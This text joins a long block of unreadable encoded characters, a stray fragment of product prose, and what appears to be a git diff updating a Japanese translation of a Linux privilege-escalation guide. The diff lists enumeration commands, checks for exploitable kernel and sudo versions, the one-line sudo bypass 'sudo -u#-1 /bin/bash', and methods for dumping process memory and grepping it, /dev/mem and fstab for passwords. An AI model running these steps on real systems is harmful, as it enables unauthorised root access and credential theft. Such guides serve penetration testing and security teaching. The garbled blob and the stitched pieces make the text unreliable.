z#{qi5iB5o4?9QAi0hcf3mj~FnGZ-uFNM6tj0IoeOtop{wK(fluI>0y z_NL%O=lKVDXAK_9bRQFdr1bp6t@l>6ZWw($2y&(DAPiAbU2C>yc63~^|OGKu`ASxB+= zgG%tXnHHea2=fcX-MdqQbj{(q;^Gg^KVtgCFo6LmoyM!qA`hsv=TQ#sxRczPPhs z4XrV%$S>p_;ma_qtB+aWk`Hp=vDa-2!!a>2FHw*J?Sy+b@k$$lduZO5I7gIsewNAR z@qVKaJtMJv^JM(wgO1#1IAo&p`e!(m1smuJnxmbdY;n!;&U_ordK9xo@pJLe-I&w$ z^=03;8P_`Cl_R0u)-r;~$V@8GM8xzeV8nrsy0ZxAn*g5#q8z59Z^FsR%4Q*~(&pZT z%+uGg6}jqOm#DBw5q?TSfenn6{B(Mh=Jz)wEDLuoRimdb?R1jm*u2!}X%dVn0NsVx z?u}E%nj2I10*qJSV`GS|fS#II)4ao3#zG*Oe3=8owhMvkV=)Dk>Dg__OiDZf(Fq`V z+`<>=mH7DPjdjSwy>C39c@x$~gdtwVsy&Lc2oh$9LfSpg;C}Wi@<3;(Gkne6DSd>D>8*ZJBZ5f~=E}l$H-ROzk`sA0K?UIP( z!o~dRHi>h^ha~u=^OAL7<4%qOSO)p@N;I|ik_+;ToipL?hTXJt4rBlfK9a6^Pc+9L z>;5^j#5>kITl9r%YHNBb>>Qf4to0-H1^}QDsuf$IXqrM&;$Vr3OH%%HKC)RGtER)_ zx2n9Cq%`53~`bl_VyqdXjPXXA2=*E3UewM?G3Z_$eW>cwlW6#5OE8h7iThI>x0%ZX#u&X@ zfn%C>DUPo-fP9q^$D47sb@y8%UET8c%|X1NweehLAEJ@t-w*NBG;lcx?SPuWDq`2; zDx4qk2R(m4S+S`n9Pf*Bdg{+#2>T)l4NpPaKb5D2F9?GedhYb@OULe8xDQaEBw)n8 zgj7LH4P4fbX@P+g->XJpqGTi5QXOrJYSq@?%YSkJO;LLePMYFGD5>&&2Lq54;FCW$ zv0(o*zxT$fd$@9*Fau?;!h!||Op1N$ruf5X+z#s`9oBk7#~_-OEBPRc7w>nk4`zcE zu18h9GCFO}I;L$q6np9ybnP0gGgr{+IUIP6*#Y(dpyF?%IE!ve>@kVk%g3HMETwPW zG|UXb?vrnIm`o|}7!Q8`UZ4HF@Rtph{!7qn`O4Fu+cu@Dn*iG4qm)B;alRdMUGj)f z{h7yab$5%dke*&!#PxGY3z`D62b2L6?N1I`G`mFExC#TP`54gI=H5l-U9^0Y?1jcb zZ1g~Ems|V|1x%bA+EwS21m%f#?pYJI4oT5RF$KHN-U}fN@IY#@9q%$@)A&}@xJ0zK zFAQ$XMM@c$(YlfAglaZ07z5V%kCE7IRoicpG5x9cvZeZN$6kcp zdZe!P5EtVw9pird==Ixe$q&o;&qAG@@7ZqX?N4S|-yfcvGY0l~aNA%FxLZfpIQ*L2 zU_nza@;cFZ?x(ur5}^5z2QdxVcEFt6_77iRXTn(_i66baXcuOkS*+s#8^IwzKQO+k z@<;0pB-W{{8NfTH<4K#op;|vGJa&cm)hkS{rr6KtU5_>EdEK-3>0Z}Fw>h4G&S;E8 zJU|&5(r;@djirQ!cL{7nEwtoUpsC8IWYY+gyE}D;8BRo>&?cQ2Huq1FNwqi zxNp1ZCmnji;0-pZTEOezi?%9QT9exrW3ITNNSkMOQRgMXx1PWAx?lq|y9{ytp6!(w zU=Cgw%g9P#%ujnN2c!VDI9IMST_U~YMlQd6wZll5%QQ7hlIAO?o-^RjYRRRqu=ft@ zsXb1;MYMu6k>rZhl(#%4?)@1j`z)Xl+uCDNV~Sxx6%!3feuYw4G)ukWF?h;5>M>pBF7hj*VrT#_q}I zl1RJ0y`N*Vz9WUdb?oS1>y6YnETI9gfI&iqMVYHxJ2H<$(2I`Pg7;C{`ID$9d%IiR zW|grZxx_KnlEz}N33R;9ZDVZEq|>jm__}EIFu)Y8#*p}00ol|vCjLcaTSR*XVvUI? zi)Ow%XF?fiS~v$U_~v)#G&4-%j$=^BO~$LF_o=+VMoz)W((+gI-n)OGJik*;n=}Jh zpB^Jc#OZkfEJgm2UT#>FFBOY~ckymqE%#$ZN{e;X=bDxydK91VLsjV=&deQQ zL$lU->apMhcmR#*ucVZEjBtcIsRUv$Ngv{G={W5%K0dCsUq^{I(qTLD0MdPH;TJg{ zMxJSuHNZoW{IZ#-?l(z2X9B&2nxIPSAb3YAa&gOEH`fY*dz9p3K4&h*YjBPlR9us&k{E8W(;Z`I!nu=hBm(o@J2<2 zf)QzTl!;y}=ygZilICbWSwRT(@V0A>y$KAz&NZpBhL?)yBo$|lMFT**rD49`HWXRD z_q@ID3S`8xKL;+Y4&-4ZXgsQIGI~zW9tl=mo1C1RN1DrQcH~u*7HbRZ4CHXl&r99D z;tc4Mxk6sLQJI(x$n5vAgeh#WFo_TDVT+}ts`zprBi38-zSHI8&ROQB{;%Wv$cS2J zAIZA0G0_FZ4bdU%ciAMNRcF~a_`1fClSfkZxR<;&xoo9ZQAt2g#B3sc)UCN#%Ljs4 zs+NnszyZ^D{|JN&+|IVm_IC3zNlyH?bcqKE!;jqIl)vHYv;NZkN!MdoS-E!ZpSl|K)zlkrhjm;e0lCck zyJ4#G+hSYQhav>pp?Ly;Jxolamq*$qf5E5Gm>N!v7uIr?s$Kc|@C8|16thd<<3O_x z;)=sii_Flyg}0Ho{dhroEbjreOI7Q1VIyhKzCS;|P`P3gblV$1o^GOz&)>gqUFh?% ztLzZG)>Jfj4jiMQKnc1Ygy$&RE^19X7gM~SCKjxeCY0)9X!&@|Cux7Vk4I6lfI9$v zE|_~CLp9@`FQyn`dG=g=fhkrsdD<`mC}uZ+b-zCgsjRk`WnK7`G0>|SiN(X#*Vh%Z57PlwMc{PS;Igg~C;AK6&im$R zZ;z?pf_hD6=FIx-7g^We10*0k*sY-S=_$X61GhcRWv+n-1x;ewp@qHEyHbB>9H!t) z45~eWlgE|%qZ$`2K&_gmLI#B*Jwc~eTfGK3N%aowM*)_QBGnv(*Zy%0_FBmL>}SmSyo5`V@cd8*qtbMGJsWoi@v@ zlCmURZl17%Q9m3gIrzTUSB*+t$>5%YU^`%98 z0CXz`@c(6m-#kWX@3ZyPK~hq5(EL7pXn1&c4)AsesayKA*O)x~g41Mr5GI5h09KEG~lW(v?U%B9hM4 z%SJ;y0v-yV(C{}PE@>9pu^H$Ezn}YO;N@hdRw(uyAv=8}yzPuR(PiK<^Swv5P*O$KUk&J`y(t zD1eE&ReDT)R&F1J&AZ;-%u579&M+Z~77op_iI-iZ|Wok zq7!r&#XKc*(>XFyu^5^YE=nAr4&SEa9YE-xN$F~b+kXV~t~fMjdRSGK{=#N+Jt@=l zts&JrPt-GVVmj=ve6(#w2!9vB47az|($JslvcvCETEp{Mf&I@%1>Ne&rl$HfL2E%? zlr##!_K?WgTTnL}+EyJ;YuAT*Rph zT$}3;RY!)EwNasc=#a7|;`vf0yVQAg=2DQ${{2px61t~y^B(?{w|hE#_WL50R6Q46 z#6|eJ)us{eUx+^{`bi7Y*3J7eqt>#rHdk#~XV0LQWJnfvEqnt!%c%M4GXRRf2^S_+ z^5Lqsc=*i@!B!*Ua-3bY@&X;HI<#c-)f~uK$JE=NAo~pSp~?#={>i1Dk;a=eJg~92 z{np0xjCNXlT%lZve&Mf?X(4Kbz0jc zHuf8cWRtvqE0W!;#V|r z8t2;2&YWrpSo$w+bpP4$ZbY4=3kFY`nIIuY-TS*wtWMD%ryf*OfFb#$Km4{*E6pt< z6!ZOdnN{)&C^*+V145QvS3dUbXQY|F2kUb7sYHFI>#v~0jVAv1gviK6(6XBY@azo6 zk>;e4`&#WCYzvs_`GT%1N%iYgMpsZeYWw`;TmBUjDsR-d=U}+N9_KZj}-rS%cv5CH?P{F=4Jvt26ivvdmT_e86zwQ4zcG< z*G({BHq}GeIW*9~6iW685Ee%BQqhM5AQW14<(~%Deda(^Ha|LVU7G536#EUlu=B9#~v>pz_6tUV73BU zu{OSozfUganwzhq$_+zuZUkz-ZuJj#7VT@K^=|=uO(M#F0(?&R-C1g?P$v#wN`+j` zeDIHW_I83iJB905`yl!Tw{Bb5@nH*t&UCXIlFlM3GBQ4Z8aza}gcC{48UL8DvBS8% zpubMEXCYaeP(8qTPe>^uf5oD59UrggmZ=MhMLjPgVE)s@)K|SsCQg!WqrzHq=(2G~ zl}w~db_m(l_f!?{{#k)E2_VnX1n)$zp_{MTR^MT4{Xdp98p7CaE_m(>HomxQ04OGc z61zF?3)zN7M{A5>5v`~zry9pBo*3#ck8a`ai2r7X*puDOJQF#!++Hv8e|ajtIO{~H z>ocEi?sF@D_+di2>rE|#8jl^Rdcy78-^jb>>5xOvVE_DL+K#ZpbUFwc^rysdH>bM# zh3Fjrtw>=*DalxQ|Fi7+PEUrLHYzNmCqbA`c|PP+-Cu7j3!iNRP%7MlYevPKW)BS| zz-N-ko~+B{)P$%eT`3l?f?WfSkmakkgtXI5r&V|b&UcNq-iR1zpZ7y`N7Lb1pEOeY zZng*+eN2j~-oxoD8K8uApIOZ_$}ht$8$>>ofdxhzo*o??58i!xdKTUwZflo$W9n#g zR$7{1d3K0BXsQ-_oq}A;t%od0ivhsBCnhQr^vF7+Ccn{Mz2s@g>W@hjSJHs_6qzSr zqzT-s&gGCbH(3<@&rk;~mWvlIcrl9?4_rA`3?r(}$Qo6(I$(X*cSBY=@=o|!SA?9u zztSy}158Ga7A{0i96z%Of#|LV+w_=s(%)SR!AV;_BS94V63msV=I!xA?H}6XM zgAjh->o|`NTOG;sxC#7e7z+>iK^@4mS79uK;Eu&=^WhSNU)CalXJO)St$(!pl$xS&I)0X@{u!PIAw_K;24oT%^OyBD<7BP z6^&HI6``yUR^gh9;@?$YYd=l~w4kOiC1p6JbAvXjf~EvC=gJRgF9{9;qLbG@*SkJv$NSf$BsF3Ok4W+erklq`4tvNci!3C$EtAw zWJ^_D*0+(>Kt+eg^$hQF3ji#Ci)CGF|8~gsc0E1Fcv^Vqgj2nhSPS|u9XBx?XSpD` z{!kLu(j)3!#xz`-uhJd{hlQ32XSn(+8r>kWY1`L${8t@ z5Oij&D;|K`Bi${QAX&2D6~)Sh-ld+4+q%6M$ZJs@fxM8plW*426}=L&KD&LN?$fmp zFBfz;S#w=>LzLoI9@by^lkDdR<^I}=6nNdNK-s{9PhmH6mhPngqZ#yzy_ zr(|~M(;55DIqM#>ctWFc=8`gUY*d9|d>1%$D^hm!9dE6@Ke2zi;!Y2R_?!pv8=)OO z2=W}yVE2Lp3X$ojDPE_$eG`uMAzJu78?+j{V+gsPV-z0>02Wmn?$0wSPeMWsNRcy6x*5uQQP^w7Dvjp3bn+eo| z26as{T=@q2Et1Ba)9lWgODv4o*T&QVYn;Z`v;`ipojNOtd`3(A!~LEL9E@bD)Fp=J zxWxUpJ!)IJvarGPjZLIB3-&PQp+R?^%;WW5p*{D1ZqAI4d*DjBX9atF;fCsJ^EISy zli|X`JSmn1TQ=6V{dp=;rag)w&BHvZBkk&tU?0H9)Mn5GapEb(O4jo>-c#T6HWB-F zv@AUzjh?$1-@FpLX$Hy0opUs#z*gX0VUJcOMxi^*zb(;tmmWQKwKfhMfr{J zd?t!xE<|hgmcnK}GHympOZ7bnu^SR1ENfk9HRGT@{Xk6Ikc+oICQ-nDa!ya>X@Ss` zptLX3!kN=1q%uybCnkVO$&BT{JHzc;3dymM{)R1XIbVJOS`z~ZvDqi$U2drpGT)_4 zYFTBDGV;MGqbl36;`sV0Ni{)qIwr*?C%Kp-;KY23MgNuo(9ZM4ihfl=CcjA1tVw$y5|Q% zJ;wSgVM{(`aWYhc2R7p(0`~2W%S~>%!E^DUB?}kzOxq8cv6@G~JXecjxp=s4jzy{J zX{W*v@5$FM0uhKgi&J7qf=njNVCRP3&p&xFJ%x&0_N8~pxp$*^_aYMqZ3=ODX8Xfm z`Z4#Do;+$C!xPGn{kMy+Z%O0nRXQDLg5LIe&(P|xfJ_Hj{zLAy^5{1!Yth# zT3|%|2f|YJt=U?80~l4D={K>iVk@dwO&baiaB%3Jt18^pQOqBPa`AKo`J=7GE~P^e zhIG#IPRI12DZwWV;oR+&*K}Yp7zCgExnCJ3YM%Q&o87`0GPRdG`txu_ILB7Rye!Po zB#)ap)Rqm>9(9739ZJ#Z30=G!oQ6T9Sv5sDo0*mf%5<^OA1qZ+m@F!c4#F;jB@YPO zJ1u4LQwg}8yq&6@NN-$ zi&)gps6jue`Q_E6PlP?6p0Um#*ii(KSdRB;MJO$Z5kn*Sb|_DKK4L4Py_%&pd#Mb89e556v&{K}- zBEPSVGmEgXk%4M0-1#&rB%I;B{n~ zj#FB9$M|;MbdE)IUx$R{YMo22?^oD{f6IQ>OEvfuwikZZ#jTq})RA>*(D%?)VuE{q~)iTxrI-QsIFI4XNxA0_L$XfzZ$C@x@Z)luC_3*2{|{BiI^rg2_! z*U)iK;;GPHx}?Vz{NPqso&@t}uvuj@Anxi(3_3AV#cc!dI=rEmu?)O-JAT9V(@F}8 zws<*dD{d}HUr#x21nF%t7f`ZzS5UHunDvjHVqgJRxPmryZ{9a?>?y#(H1d>RHWF?HQovT zT&L2`AD-a#fERmQ05r-egm-&BCLS>)MZB4sAE(81sl)uDtKMtDUL9VJl(e{ZV2rMv zCRU&M&>{IV-LAO)(Kq)3{<&Et0rz_SuP@tEWBa(cG`N3-vwf}OdFG8oDFLzon`9+E zVmW{kmI}Dpq!LkaF$Q1mo1Qcg4bm<-R{i3W(_Iu^VuaNY3Niib1_9@0J(ZfU&&7`- zv#B`A!QULBKOpGL`z8&in{+tiF@R|tt5-(yA{1E~yl zF#qKPble-UV8quyzA0#1Wbyi8<<~hKSD$0K9uGc=wuie7ba0`Rho@x^B4|WQhuI7w z29sfNG5+oR8gvInAv9v8u21hKCNm5DmBYjZ6o3&Xvdl_q?T9zbo3Ac9EzbuLT&jF7 zZ}r>HX6PYrTY}vCBu@-UW8E|Ld7FSzvaX3p9)G2gX{%3=gJac3V9$Pnv zM^gJ(?VD2V=69=amp7hIw*-fky&o|(9f0R>gDMvY2G@gxouxnVbw=KAWk`NFZUPo%wC=W4}vYQbbUS?PoW>Czuj+@EP1Lbqnz zdEwrZb2w*3pdNKKc_bzVF3P(=ke)_?&N3Iv%77j9@=$=@6Xmr4rFd~ zcZ1@fEXAr}rky+Q+bb$4xEy&xCY~S1)sp{B$ z_@%x(56+iwRNEU2y&G<`)G$l8wXMmdm zbUGe3Y*oWD9Z!f?u*hWmv{ZHRFG@8qkY^mMwM%yyo^jVmySKMqXrirL1sWCch4q;` zO&W-{R{IzaSB?wqs^U^YQCSeXTEI-ivJc#Vsu@b&ZXU-arMx44R40UPa>? zu>#l>5qfxd3?enA2o9gqu73rZMyrS1emK-SiRh9Ee&_0JG(59o8+56Y9ym??v{a<9S|NH&@ z`$hi0{&Lk~B*|mL6B)>J;vZ=ia*f)A1Y|-*M@V#6f%Z$;Xqo!&#b;bxB~>(~!ruzy6>yWJn$aSI z{~YIk^9vXpoq)?3{D2e!ZS z7*HrejW~%F_wQ_FG$$y(piq2P?(dv`tUy~mYM#5`zcnNGfC;&0|1sq63=fHH<>9>_ zNccakuRjm@3Yd^rQ?4X`Yj^J-y_l6{5|Ih#O z-~6IaiBNlD^G)z?4ey_Y{O>jX&qDt98b|-LkpI20{)x!{4%YwQN91$7ds/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -もし **`PATH` 変数内のいずれかのフォルダに書き込み権限がある** 場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: +もし`PATH`変数内の任意のフォルダに**書き込み権限がある**場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: ```bash echo $PATH ``` -### 環境情報 +### Env info -環境変数に興味深い情報、パスワード、またはAPIキーはありますか? +興味深い情報、passwords、または API keys が environment variables に含まれていますか? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -カーネルのバージョンを確認し、escalate privilegesに使用できるexploitがあるか確認する +kernel のバージョンを確認し、privilege escalation に利用できる exploit がないか調べる ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良質な脆弱なカーネルのリストや、既に **compiled exploits** があるものは次で見つかります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -その他、いくつかの **compiled exploits** が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良質な脆弱な kernel の一覧や、既に **compiled exploits** になっているものをいくつかここで見つけることができます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +他にも **compiled exploits** を見つけられるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのサイトからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: +そのサイトから脆弱な kernel のバージョンをすべて抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits を検索するのに役立つツールは次のとおりです: +kernel exploits を検索するのに役立つツールは: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim 上で実行、kernel 2.x の exploits のみチェック) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim 上で実行、kernel 2.x の exploit のみチェック) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +Always **Googleで kernel version を検索してください**。お使いの kernel version が既存の kernel exploit に記載されている場合があり、そうすればその exploit が有効であることを確認できます。 ### CVE-2016-5195 (DirtyCow) @@ -59,34 +59,34 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo バージョン -次に示す脆弱な sudo バージョンに基づいて: +以下に表示される脆弱な sudo バージョンに基づき: ```bash searchsploit sudo ``` -この grep を使用して、sudo のバージョンが脆弱かどうかを確認できます。 +この grep を使って sudo のバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 -提供: @sickrov +寄稿: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: 署名の検証に失敗しました +### Dmesg 署名検証に失敗 -**smasher2 box of HTB**を確認して、このvulnがどのように悪用され得るかの**例**を参照してください。 +この vuln がどのように悪用され得るかの **例** は **smasher2 box of HTB** を参照してください ```bash dmesg 2>/dev/null | grep "signature" ``` -### より詳細なシステム列挙 +### さらなるシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 可能な防御策を列挙する +## 可能な防御策の列挙 ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -もし docker container の中にいるなら、そこから脱出を試みることができます: +もし docker container 内にいる場合、そこから脱出を試みることができます: {{#ref}} docker-security/ @@ -131,69 +131,69 @@ docker-security/ ## ドライブ -**どのディレクトリがマウントされていて、どれがアンマウントされているか**、どこに、なぜを確認してください。もし何かがアンマウントされているなら、それをマウントして機密情報がないか確認してみてください。 +何が **mounted** で何が **unmounted** か、どこにあり、なぜかを確認してください。もし何かが **unmounted** なら、それを **mount** して機密情報を確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 有用なソフトウェア +## 便利なソフトウェア 有用なバイナリを列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**コンパイラがインストールされているか**確認してください。これは、kernel exploitを使用する必要がある場合に役立ちます。kernel exploitは、使用するマシン(または同様のマシン)でコンパイルすることが推奨されるためです。 +また、**コンパイラがインストールされているか**確認してください。これは、kernel exploitを使用する必要がある場合に役立ちます。実行するマシン(またはそれに類似したマシン)でコンパイルすることが推奨されているためです。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 脆弱なソフトウェアがインストールされている +### インストールされている脆弱なソフトウェア -**インストール済みパッケージとサービスのバージョン**を確認してください。例えば、古い Nagios バージョンが存在し、escalating privileges のために悪用される可能性があります…\ -より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 +**インストール済みパッケージやサービスのバージョン**を確認してください。例えば古い Nagios バージョンが存在し、それが権限昇格に悪用される可能性があります…\ +疑わしいソフトウェアについては、バージョンを手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +マシンにSSHでアクセスできる場合、マシン内にインストールされている古いソフトウェアや脆弱なソフトウェアをチェックするために**openVAS**を使用することもできます。 -> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立たないため、インストールされているソフトウェアのバージョンが既知のexploitsに対して脆弱かどうかをチェックするOpenVASのようなアプリケーションの使用を推奨します_ +> [!NOTE] > _これらのコマンドは大量の情報を表示し、そのほとんどはあまり有用ではないため、インストールされているソフトウェアのバージョンが既知のエクスプロイトに対して脆弱でないかを確認するために、OpenVASなどのツールの使用を推奨します_ ## プロセス -どの**プロセス**が実行されているかを確認し、どのプロセスが**本来持つべき以上の権限**を持っていないかをチェックしてください(例えば tomcat が root によって実行されているなど?) +どの**プロセス**が実行されているかを確認し、どのプロセスが**本来持つべきより多い権限を持っているか**をチェックしてください(例えば tomcat が root によって実行されている等)。 ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +また、**プロセスのバイナリに対する権限を確認してください**。誰かのバイナリを上書きできるかもしれません。 -### プロセス監視 +### Process monitoring -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +プロセスをモニターするために [**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使用できます。これは、脆弱なプロセスが頻繁に実行されている場合や特定の条件が満たされたときに識別するのに非常に有用です。 -### プロセスのメモリ +### Process memory -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +サーバのいくつかのサービスは、**credentials in clear text inside the memory** を保存することがあります。\ +通常、他のユーザに属するプロセスのメモリを読むには **root privileges** が必要なため、これは通常すでに root でありさらに credentials を見つけたい場合により有用です。\ +ただし、**as a regular user you can read the memory of the processes you own** という点を忘れないでください。 > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 現在の多くのマシンは **don't allow ptrace by default** という点に注意してください。これは、権限の低いユーザが所有する他のプロセスをダンプできないことを意味します。 > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: 同じ uid であれば全てのプロセスをデバッグできます。これは従来の ptracing の動作方法です。 -> - **kernel.yama.ptrace_scope = 1**: デバッグできるのは親プロセスのみです。 -> - **kernel.yama.ptrace_scope = 2**: ptrace を使用できるのは管理者のみで、CAP_SYS_PTRACE capability が必要です。 -> - **kernel.yama.ptrace_scope = 3**: ptrace でトレースできるプロセスはありません。一度設定すると、ptracing を再度有効にするには再起動が必要です。 +> - **kernel.yama.ptrace_scope = 0**: 同じ uid であればすべてのプロセスをデバッグできる。これは従来の ptrace の動作方法です。 +> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグ可能。 +> - **kernel.yama.ptrace_scope = 2**: ptrace を使用できるのは管理者のみ(CAP_SYS_PTRACE が必要)。 +> - **kernel.yama.ptrace_scope = 3**: ptrace でトレースできるプロセスはない。これに設定すると、ptrace を再び有効にするには再起動が必要。 #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +例えば FTP サービスのメモリにアクセスできる場合、Heap を取得してその中の credentials を検索できます。 ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB スクリプト +#### GDBスクリプト ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -あるプロセスIDについて、**maps はそのプロセス内でメモリがどのようにマッピングされているかを示します** 仮想アドレス空間; また、**各マッピング領域のアクセス権** を表示します。**mem** 疑似ファイルは**プロセスのメモリ自体を露出します**。**maps** ファイルからどの **メモリ領域が読み取り可能か** とそのオフセットがわかります。この情報を使って**mem ファイル内をシークし、読み取り可能な領域をすべてファイルにダンプします**。 +特定のプロセスIDに対して、**maps はそのプロセス内でメモリがどのようにマッピングされているかを示します** 仮想アドレス空間; また **各マッピング領域の権限** を示します。**mem** 擬似ファイルは **プロセスのメモリそのものを公開します**。**maps** ファイルから、どの **メモリ領域が読み取り可能か** とそのオフセットがわかります。この情報を使って **memファイル内をシークして読み取り可能な領域をすべてファイルにダンプする**。. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの**物理**メモリにアクセスするためのもので、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ +`/dev/mem` はシステムの **物理** メモリにアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ 通常、`/dev/mem` は **root** と **kmem** グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### Linux向け ProcDump -ProcDumpは、SysinternalsのツールスイートにあるクラシックなProcDumpツールをlinux向けに再構想したものです。入手はこちら: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDumpは、SysinternalsスイートのWindows向けにある古典的なProcDumpツールをLinux向けに再構想したものです。入手先: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,38 +266,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### ツール -プロセスのメモリをダンプするには、次を使用できます: +プロセスのメモリをダンプするには、次のものを使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_rootの要件を手動で削除して、自分が所有するプロセスをダンプできます -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要です) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でrootの制約を取り除き、自分が所有するプロセスをダンプできます +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要) -### プロセスメモリからの認証情報 +### プロセスのメモリからの認証情報 #### 手動の例 -もしauthenticatorプロセスが実行されていることを見つけたら: +authenticator プロセスが実行中である場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスをdump(プロセスのメモリをdumpするさまざまな方法は前のセクションを参照)して、メモリ内のcredentialsを検索できます: +processをdumpできます(前のセクションを参照して、processのmemoryをdumpするさまざまな方法を見つけてください)そしてmemory内で認証情報を検索できます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、**メモリから平文の認証情報を窃取**し、いくつかの**よく知られたファイル**からも取得します。正しく動作させるには root 権限が必要です。 +ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗み**、いくつかの**よく知られたファイル**からも取得します。適切に動作させるには root権限 が必要です。 | 機能 | プロセス名 | -| ------------------------------------------------- | -------------------- | -| GDM パスワード (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux 